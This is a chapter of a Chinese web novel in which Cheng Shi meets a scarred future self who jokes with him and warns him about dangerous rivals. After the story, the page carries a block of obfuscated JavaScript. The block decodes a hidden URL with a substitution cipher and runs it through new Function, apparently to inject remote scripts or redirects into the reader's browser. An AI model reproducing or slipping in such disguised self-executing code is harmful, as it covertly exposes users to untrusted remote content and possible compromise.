(填空题,满分1分,猜错0分,猜中-1分。)
“你不欢迎我?”
“我该欢迎你?”
“你该欢迎我。”
“我不欢迎你。”
程实盯着面前的人看了许久,直到对方无奈的耸了耸肩,揉红了自己的鼻子,他凝重的表情才终于有所缓解,摇着头苦笑了起来。
“你很疲惫,看来前面的路并不好走。”
来人莞尔一笑:
“那是我的路,不是你的。”
“【存在】散落的状态是吧,嗯,不错,所以说......
你到底是哪个状态的我呢?
程实!”
程实目光灼灼的看向对方,随着他的视线看去,站在他面前的赫然就是......
程实!
另一个程实!
一个不知来自于何时何处的......程实!
这位程实跟当下的程实有九成像,但他的脸色更加沧桑,气质也更加脱俗。
时间在他的皮肤上雕满印痕,每一条纹路肌理似乎都饱含着常人无法理解的艰辛和不易。
他的脖颈处有一条恐怖的伤疤,从锁骨直蔓耳后,狰狞的像是一条疯狂扭动的蜈蚣,恐怖骇人。
他的左肩下凹了三分,让本可以展现完美仪态的衣装皱作一团,失去了对称的美感。
他的右手有些控制不住的颤抖,他的腿看上去有些跛,他浑身上下几乎没有一处完整的地方,可唯独那双眼!
唯独那双眼睛,依旧明亮!
此时此刻,那本该充斥着谎言、讥嘲、揶揄、不屑的欺诈之眸里,塞满了真诚、怀念、回忆和坦然!
他看着程实,笑的灿烂。
“你如果非要这么问的话,我大概是无法回答的,因为,我也不知道我来自哪里。
或许,是你的过去,又或许,是你的未来。
你知道的,这取决于【祂们】怎么定义。”
程实目光一凝。
“是祂们送你来的?”
“不不不,祂们已经不会理会我了,是我自己来的。”
什么叫祂们已经不理会你?
什么叫是你自己来的?
你怎么来?
你把【记忆】闷了,还是把【时间】嘎了?
程实看出了程实的疑惑,他哈哈大笑。
“别把我想的那么牛逼,我虽然有了直面祂们的底气,但祂们终究是祂们,我还不是。
我只是在【记忆】的藏馆里看到了一个缺口,然后,便跟着跳进来看看。
没想到,居然看到了你。
哈哈哈哈,原来这个缺口的出现,也是因为你。
有趣,太有趣了,最近是不是遇到了什么好玩的事情,说出来让我开心一下。”
看着另一个自己哈哈大笑,甚至眼泪都笑出来了,程实脸色黑的不行。
“你来这就是为了看我笑话的?”
“虽然一开始不是,但现在是了,哈哈哈哈。”
“你怎么跟祂一个德性?”
“这话问的有失水准,倘若我不跟祂一个德性,你才该问。”
“......也对。”
两个程实忽然对视了一眼,而后心有灵犀的同时爆笑出声。
来自同一个灵魂的默契在此刻共鸣至高潮,也不知到底是苦中作乐,还是本就没心没肺,总之......
一个笑到捶地,一个笑的打鸣。
笑声持续了很久,直到有那么一会儿,两个人都笑累了,才渐渐平息。
程实心中的疑惑稍散,他模糊的感受到了另外一个程实的意图。
他并不是来帮助自己的,也不是来鞭策自己的,更不是来阻碍自己的。
他或许只是发现了一个乐子,而后又发现这个乐子背后,是过去的自己。
无论【祂们】怎么定义,总之,在程实的眼里,眼前的这位程实,确实是漫长时间长河中另一头的那个自己。
多么有趣啊。
见到了“未来”的自己。
他摇头失笑,放松了身体,一屁股坐在了虚空中。
对面的程实饶有兴致的看着他,眼中满是感怀。
“很痛吧?”程实对着大程实说道。
“嗯?你是指这个?”
大程实伸手摸了摸自己脖子上那条恐怖的伤疤,笑了。
笑里憋着坏。
“跟毒药打架留下的,唔,我不知道你见没见过她,但总之,还是不见的好。”
程实盯着大程实看了好一会儿,脸色有些无语的吐槽道:“说实话!”
“唉,你这样就没意思了,要懂得苦中作乐。
好好好,别瞪我,假的,假的行了吧,找人纹的。
怎么样,看着是不是很不好惹,建议你也纹一个,这样每次试炼开场的时候,就会省却很多麻烦。”
“......”
我就知道。
当程实看到未来的自己眼里闪过笑意的时候,他就觉得大程实要开始不诚实了。
尽管欺骗大师这个天赋在相遇时会失效,让自己总觉得对方说的是真的......
但,看穿自己,似乎也不算太难。
“你该不会把自己扮的这么惨,是为了让我施舍点同情给你叭?”
“这话说的,我可只有这一个纹身。”
“那你的肩膀?”
“赫罗伯斯取掉了我的肩骨,在第二次【诸神列会】的时候。”
程实眉头一挑,心道来了。
终究是未来的自己!
哪怕他的心思跟自己一样从未变过,并不愿意过多的干涉过去的自己,但还是会忍不住偷偷漏些消息出来。
这无关其他,只是一个踉跄前行的人,心疼过去的自己,不愿再让他走的那么泥泞。
程实默默听着,一句话没多问。
“祂是【湮灭】的令使,能避则避。”
“这里,”大程实指着自己的肋骨之下拳头大小的疤痕,继续道,“秦薪捅的,当然,他这人不坏,但命太臭,能避则避。”
“这里,你应该不陌生,【死亡】乐子戒,我很久没有拿稳过酒杯了,这是太过依赖它产生的副作用,多上点心。”
“这里,伽琉莎粉碎了我的腿,我抽了她的胳膊重新造了一双,但很可惜,不太匹配。
不过我听说大佬都是跛的,也很有范儿不是吗?
她是个偏执的疯子,是埋葬了理质之塔的黑手,谨记,一定远离她。”
“......”
大程实说了很多,每说出一个人名,他的脸色便阴沉一分。
到了最后,浓郁的杀机从他的眼中四溢而出,如同洪水般席卷了整个虚空,让这虚空中所有的有形都近乎凝滞。
就连程实自己,也这股杀机锁定,脊背生汗,脸色苍白。
但没过多久,大程实就意识到了不妥,他自嘲的笑笑,收敛了这骇人的气势。
“抱歉,应激反应。
时代的前行总会有这样那样的悲剧,我虽然比其他人走的更远,但依然是这悲剧里的演员。
戏码没结束之前,总还想试一试的。
唉......
算了,说这些干嘛,无趣至极。”
大程实阴沉的脸色瞬间崩散无踪,他看着程实,再次露出了笑容。
“说说你吧,我很好奇,现在的你,怎么打开了那个缺口。”
程实脑中因为接收了过量的信息而思绪翻腾,他沉吟了好久才开口道。
“那个缺口不是我打开的,是......”
他本想说【记忆】,可突然又觉得,如果是【记忆】似乎也没什么好说的,毕竟大程实就是从祂的藏馆里跳回来的。
于是他改口,说出了一个名字。
“苏益达。”
“那是谁?”
“......”
程实现在确定了,大程实并不是自己之前的未来那条线上回来的人,至于他来自于哪个未来。
管他呢。
“一个从未被祂注视过的诡术大师。”
“哦?”大程实的语气突然古怪起来,他若有所思的看着程实,罕见的没有锐评两句。
场面突然沉默下来。
程实撇了撇嘴,觉得自己傻透了。
这么好的机会,不找人帮忙,却要在这里浪费时间,简直有病。
于是他抛开了脑中杂乱的信息,认真的问道:
“跟我一起的那个游侠,还活着吗?”
...
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();